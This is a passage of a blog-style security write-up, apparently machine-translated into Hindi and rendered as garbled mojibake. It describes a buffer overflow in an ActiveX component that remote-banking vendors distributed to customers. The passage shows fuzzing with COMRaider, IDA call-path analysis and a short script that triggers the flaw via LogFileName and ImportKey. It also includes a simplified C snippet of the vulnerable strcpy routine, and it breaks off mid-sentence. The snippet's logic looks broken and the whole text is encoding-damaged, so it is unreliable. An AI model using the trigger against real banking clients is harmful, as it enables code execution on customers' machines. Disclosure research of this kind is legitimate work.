рд╕рд┐рд░реНрдл XSS рдирд╣реАрдВ ...
рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдХрдИ рд▓реЛрдЧ рдмреИрдВрдХрд┐рдВрдЧ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗ рд░рд╣реЗ рд╣реИрдВ: рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдмреИрдВрдХреЛрдВ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдкрд░ XSS рд╡рд░реНрдЧ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдорд╛рдЪрд╛рд░реЛрдВ рдиреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд╢реЛрд░ рдордЪрд╛рдпрд╛ рд╣реИред рдЬрдирддрд╛ рдЖрдХреНрд░реЛрд╢ рдореЗрдВ рд╣реИ рдФрд░ рдореАрдбрд┐рдпрд╛ рд╢реЛрд░ рдХрд░ рд░рд╣рд╛ рд╣реИред рд▓реЗрдХрд┐рди рдмреИрдВрдХ рди рдХреЗрд╡рд▓ рд╡реЗрдм рдШрдЯрдХ рдореЗрдВ рд╕рдореГрджреНрдз рд╣реИрдВред 2000 рдХреЗ рджрд╢рдХ рдХреЗ рдЙрддреНрддрд░рд╛рд░реНрдз рд╕реЗ, рдореИрдВ ActiveX рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдЬреЛ рдХрд┐ рдмреИрдВрдХ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ, рдЕрд░реНрдерд╛рддреН рд░рд┐рдореЛрдЯ рдмреИрдВрдХрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо (RBS) рдХреЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ рдЧрд░реНрд╡ рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рд╕рд╛рд▓ рдореЗрдВ рдПрдХ рдмрд╛рд░ рдореИрдВрдиреЗ рдПрдХ рдпрд╛ рджреЛ рд╕рд┐рд╕реНрдЯрдо рд▓рд┐рдП рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЪреБрдирд╛ред рдареАрдХ рд╡реИрд╕реЗ рд╣реА рд╢реБрд░реВ, рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рдХреЗ рд▓рд┐рдП (рдореИрдВрдиреЗ рдмреИрдВрдХ рдХреЗ рдХрд░реНрдордЪрд╛рд░реА рд╣реЛрддреЗ рд╣реБрдП рднреА рдпрд╣ рд╡реНрдпрд╡рд╕рд╛рдп рд╢реБрд░реВ рдХрд┐рдпрд╛) рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА
рд╢реЛрдз рд╣рд┐рдд рд╕реЗ рдмрд╛рд╣рд░ рд░рд╣рд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, 3-4 рд╡рд░реНрд╖реЛрдВ рдореЗрдВ рдореИрдВрдиреЗ рдмреАрдПрд╕рдПрд╕, рдЗрдирд┐рд╕реНрдЯ, рдЖрд░-рд╕реНрдЯрд╛рдЗрд▓, рд╕реАрдПрдлрдЯреА рдЬреИрд╕реЗ рдирд┐рд░реНрдорд╛рддрд╛рдУрдВ рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреАред рдХрдЯреМрддреА рдХреЗ рддрд╣рдд рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реИред рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡рд┐рд╡рд░рдг рдЧреНрд░рд╛рд╣рдХ рдкрдХреНрд╖ (рд╡рд┐рдВрдбреЛрдЬ 7, рдЖрдИрдИ + рдбреАрдИрдкреА / рдПрдПрд╕рдПрд▓рдЖрд░) рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╢реЛрд╖рдг рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИред рд╢рд╛рдпрдж рдпрд╣ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ рдЬреЛ рдкреБрд░рд╛рдиреЗ 'рд╕реНрдЯреНрд░реИрдЪреА' рдХреАрдбрд╝реЗ рдХреЗ рд╢реЛрд╖рдг рдФрд░ рдЖрд░рдУрдкреА рдХрд╛рд░рдирд╛рдореЗ рдмрдирд╛рдиреЗ рдХреЗ рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗред

рдЯрд┐рдкреНрдкрдгреА
ALMOST рдкреНрд░рд╢реНрди рдореЗрдВ рд╕рднреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЕрдм рдареАрдХ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рд╢реНрди рдореЗрдВ рднреЗрджреНрдпрддрд╛
рдПрдХ рд▓рдВрдмреЗ рд╕рдордп рд╕реЗ рдкрд╣рд▓реЗ рддрдп рдХреА рдЧрдИ рд╣реИ ред RBS рдХреЗ рдЗрд╕ рдирд┐рд░реНрдорд╛рддрд╛ рдХреЛ рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ "рдкреАрдбрд╝рд┐рдд" рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЧрдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ
рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдВрджреБ рд╣реИ , рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рдЬрдЧрд╣ ActiveX рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдпрд╣ рдЕрдиреНрдп рдирд┐рд░реНрдорд╛рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдмреИрдВрдХ рдХреЛ SEPARATELY рдФрд░ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╣реЛрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ BSS / Inist / R-Style рдореЗрдВ рдкреБрд░рд╛рдиреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднреА, рдПрдХ рд╕реНрдерд╛рдкрд┐рдд рдЕрдкрдбреЗрдЯ рдХреЗ рдмрд┐рдирд╛ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╣реИрдВред
рд╕реНрд╡рдпрдВ
рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреА рдЧрдИ рдФрд░ рддреБрд░рдВрдд 2010 рдореЗрдВ рддрдп рдХреА рдЧрдИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреЛрд╕реНрдЯ рд╕реЗ рдХрд┐рд╕реА рдХреЛ рдХреЛрдИ рдиреБрдХрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреЗрд╡рд▓ рдПрдХ рд╕рдмрдХ ... 8)
рд╢реБрд░реБрдЖрдд
рдЗрдВрдЯрд░рдиреЗрдЯ рдмреИрдВрдХрд┐рдВрдЧ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ ActiveX рдШрдЯрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ "рдЙрдкрд╛рдВрдЧ" рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░, рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдпрд╣ рд▓рд┐рдЦрд╛ рд╣реИ, рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рд╕реА рдпрд╛ рд╕реА ++ рдореЗрдВред рдФрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд▓рд╛рдЗрди рдкреНрд░рд╛рд░реВрдк рддреНрд░реБрдЯрд┐рдпреЛрдВ, рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ, рдпрд╛ рддреНрд░реБрдЯрд┐рдпрд╛рдВ рдЬреИрд╕реЗ рдмрд┐рдВрджреБрдУрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдЬреИрд╕реА рдЪреАрдЬреЗрдВ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдХрд╛рдлреА рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИрдВред рдЕрдзреНрдпрдпрди рдХреЗ рддрд╣рдд рдШрдЯрдХ рдЙрди рд╕рднреА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╡реЗрдм рдкреЗрдЬ рд╕реЗ рд╕реАрдзреЗ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рдереЗ:

рдШрдЯрдХ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдЙрддреНрдХреГрд╖реНрдЯ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдореИрдВ рдпрд╣ рдиреЛрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ рдпрд╣ рдореЙрдбреНрдпреВрд▓ рдХреЗрд╡рд▓ рдмреИрдВрдХ рдХреЗ рдбреЛрдореЗрди рд╕реЗ рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╛ рддреЛ XSS- рдкреНрд░рдХрд╛рд░ рдХреЗ рдмрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдпрд╛ "рдмреАрдЪ рдореЗрдВ рд╡реНрдпрдХреНрддрд┐" рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдХрд┐рд╕реА рд╣рдорд▓реЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдмрд╣реБрдд рдХрдо рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдЕрд╡рд╛рд╕реНрддрд╡рд┐рдХ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред
рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬ
рдЫреЗрдж рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╕рдордп рд╢реИрд▓реА рдХрд╛ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдлрд╝рдЬрд╝рд┐рдВрдЧ рд╣реИред рдЗрд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЛ "рдкреНрд░реЛрд╕реАрдЬрд╝рд┐рдЯ" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреНрд░рд╕рд┐рджреНрдз рдЯреВрд▓ - COMRaider рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдореИрдВрдиреЗ рд╣реИрдХрд░ рдкрддреНрд░рд┐рдХрд╛ рдореЗрдВ
рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рд╣реИред рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдХрд╛ рд╕рд╛рд░ рд╕рд░рд▓ рд╣реИ: ActiveX рд╡рд░реНрдЧ рдХреЗ рд╕рднреА рддрд░реАрдХреЛрдВ рдФрд░ рдЧреБрдгреЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдореНрдорд┐рд▓рд┐рдд рдкреНрд░рд╛рд░реВрдк рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ рдХреЗ рд╕рд╛рде рд▓рдВрдмреА рд▓рд╛рдЗрдиреЗрдВ рдпрд╛ рд░реЗрдЦрд╛рдПрдВред рдФрд░ рдЕрдЧрд░ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд▓рдВрдмреА рд▓рд╛рдЗрди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╕рдордп рдПрдХ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣, рдПрдХ рдЕрдкрд╡рд╛рдж рдкрдВрдЬреАрдХреГрдд рд╣реИ (рдЖрд╡реЗрджрди рдмрд╕ рджреБрд░реНрдШрдЯрдирд╛рдЧреНрд░рд╕реНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ)ред рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рджреБрд░реНрднрд╛рдЧреНрдп рд╣реИ: рдлрд╝рдЬрд╝рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, COMRaider рдХреЛ рдХреЛрдИ рдЕрд╕рд╛рдзрд╛рд░рдг рд╕реНрдерд┐рддрд┐ рдирд╣реАрдВ рдорд┐рд▓реА, рдПрдХ рднреА рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ - рд╕рдм рдХреБрдЫ рд╕реБрдЪрд╛рд░реВ рд░реВрдк рд╕реЗ рдЪрд▓рд╛ рдЧрдпрд╛ред рд╣реБрд░реНрд░реЗ, рдХреЛрдИ рдЫреЗрдж рдирд╣реАрдВ!

рдпрд╛ ...
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдВрджреЗрд╣ рдереЗред рдлрд┐рд░ рднреА, рдХреЛрдб рдХреЗ рд╕рд╛рде DLL 2006 рддрдХ рд╡рд╛рдкрд╕ рдЖрддрд╛ рд╣реИред рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдИрдбреАрдП рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рд╕реНрдЯреНрд░реИрдкреА рдЬреИрд╕реЗ рдкреНрд░рд╕рд┐рджреНрдз рд╕рдорд╛рд░реЛрд╣ рдореЗрдВ рдХреЙрд▓ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рддреНрд╡рд░рд┐рдд рдирдЬрд╝рд░ рдбрд╛рд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВ рд╢рд╛рдпрдж рд╣реА рдЖрд╢реНрдЪрд░реНрдпрдЪрдХрд┐рдд рдерд╛ред рдпрд╣ рд╕рдм рд╕рдВрдХреЗрдд рджреЗрддрд╛ рдерд╛ рдХрд┐ рдЕрднреА рднреА рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВред

рдЖрдИрдбреАрдП рдореЗрдВ рдЗрди рд╕рднреА рдХреЙрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ, рдЖрдк рдбрд┐рдмрдЧрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрдореНрдпреБрдирд┐рдЯреА рдбреАрдмрдЧрд░, рд╕реНрдерд┐рддрд┐ рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рддреЗрдЬрд╝реА рд╕реЗ рд╕рдордЭрдиреЗ рдФрд░ рдЧрддрд┐рд╢реАрд▓ рдХреЙрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд╛ рдПрдХ рдЕрдирд┐рд╢реНрдЪрд┐рдд рд╕рдордп рдФрд░ рдбреАрдмрдЧрд░ рдореЗрдВ рдирд┐рд╢реНрдЪрд┐рдд рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рд╢реБрд░реВ рд╣реЛрдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдерд╛ рдХрд┐ рдлреЗрдЬрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдХреЗрд╡рд▓ MISSED рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рд╡рд┐рдзрд┐ рдХреЗ рдЕрдиреНрдп рдЧреБрдгреЛрдВ рдХреЗ рдореВрд▓реНрдп рдкрд░ рд╕реНрдкрд╖реНрдЯ рдЬрд╛рдВрдЪ рдереАред рдпрд╣реА рд╣реИ, рдлрд╝рдЬрд╝рд░ рдиреЗ рд╕рднреА рддрд░реАрдХреЛрдВ рдФрд░ рдЧреБрдгреЛрдВ рдХрд╛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛, рдФрд░ рдЗрд╕рд▓рд┐рдП рдХреЛрдб рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрд╕ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ (рдУрд╣, рдпрд╣ рдмрд╛рдВрдз рдлрд╝рдЬрд╝рд┐рдВрдЧ)ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, LogFileName рдЧреБрдг рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рд╕реЗрдЯ рдХрд░реЗрдВред рдФрд░ рдпрд╣ рдирд╛рдо рдПрдХ рд╡рд┐рд╢реЗрд╖ рдмрдлрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЙрдЧ рдПрдВрдЯреНрд░реА рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдмрдХрд┐ рдлреЗрдЬрд░ рдиреЗ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА:
object.LogFileName=long_buff;
рдЬреИрд╕реЗ, рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИред рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╕рдордп рддреНрд░реБрдЯрд┐ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдпрд╣ рдЖрдЧреЗ рд╣реИ (рдЪрд▓реЛ рдЗрд╕реЗ vuln рдХрд╣рддреЗ рд╣реИрдВ)ред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрджрд┐ LogEnabled> 0, LogFileName рд╕реЗрдЯ рд╣реИ, рдФрд░ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдмрдирд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИред рдСрдкрд░реЗрд╢рди рдХреЗ рд╡реЗрдХреНрдЯрд░ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкрде рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдИрдбреАрдП 6.2 рдореЗрдВ, рдпрд╣ рдЕрддреНрдпрдВрдд рд╕рд░рд▓ рд╣реИ: рдирд┐рдХрдЯрддрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ + рдкрд╛рде рдкрд╛рдеред рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд┐рд╕реА рднреА рдХреЙрд▓ рдХреЗ рдмреАрдЪ рдХрд╛ рд░рд╛рд╕реНрддрд╛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреА рд╣реИ, рдпрджрд┐ рдХреЛрдИ рд╣реЛред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ рддрд░рд╣:

рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ ImportKey () рд╡рд░реНрдЧ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкрджреНрдзрддрд┐ рд╕реЗ рд╡рд▓реНрди рдлрд╝рдВрдХреНрд╢рди (рдФрд░, рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕реНрдЯреНрд░реИрдЪреА) рдХрд╛ рдПрдХ рдорд╛рд░реНрдЧ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдХрдХреНрд╖рд╛ рдХреЗ рд▓рдЧрднрдЧ рд╕рднреА рддрд░реАрдХреЗ рд▓реЙрдЧ рдореЗрдВ рдХреБрдЫ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХрдИ рд╕реЗ рдРрд╕рд╛ рддрд░реАрдХрд╛ рд╣реИ:

рдпрд╣ рд╣рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рд╡рд▓реНрди рдлрдВрдХреНрд╢рди (рдЗрдВрдкреЛрд░реНрдЯрдХреА рд╕реЗ) рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдЗрд╕реЗ рдПрдХ рдмрд╛рд░ рдореЗрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП:
object.LogEnabled=1; object.LogFileName=тАЭxxx_c:\log.txtтАЭ; object.ImportKey(1);
рдЕрдиреНрдп рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд╡рд▓реНрди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдмрд╕ рдирд╣реАрдВ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдХрд┐ рдПрдХ рдлрд╝рдЬрд╝рд┐рдВрдЧ рдЕрдХреНрд╕рд░ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рд╡рд╣ рдХрдИ рд╕реВрдХреНрд╖реНрдорддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рд╣реИ ... рдЕрдм рд╣рдо рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреНрдпрд╛ рдЧрд▓рддреА рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ рд╡рд▓реНрдХрди рдлрдВрдХреНрд╢рди рдХреЛрдб рдХрд╛ рдПрдХ рд╕рд░рд▓реАрдХреГрдд рдЯреБрдХрдбрд╝рд╛ рджреЗ рджреВрдВрдЧрд╛, рд╕реАрдзреЗ рд╕реНрдЯреНрд░реИрдЪреА рдХреЙрд▓ рдХреЗ рд╕рд╛рде:
тАж char* vuln(char *bufferOut, char *fileName){ char *errorText=" '%1'."; while(!*errorText) { if(errorText=='%' && (errorText+1)<'9')
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╕рд╛рд░ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреА рдкреАрдврд╝реА рд╣реИ, рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕реНрд╡рдпрдВ рддреНрд░реБрдЯрд┐рдЯ рдЪрд░ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред рд▓реВрдк рдореЗрдВ, рдЯреЗрдореНрдкрд▓реЗрдЯ (errorText) рдХреЛ рдмрдлрд░рдСрдЯ рдЪрд░ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рд▓рд┐рдП% 1 рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ - рдлрд╝рд╛рдЗрд▓рдирд╛рдоред рд╕рдмреНрд╕реНрдЯреАрдЯреНрдпреВрд╢рди рдХреЛ рд╕реНрдЯреНрд░реИрдЪреА рдХрд╣рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ LogFileName рд╡рд┐рдзрд┐ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рддрджрдиреБрд╕рд╛рд░, рдЕрдЧрд░ LogFileName рд▓рдВрдмрд╛ рд╣реИ, рддреЛ рдмрдлрд░рдСрдЯ рд╕реАрдорд╛ рд╕реЗ 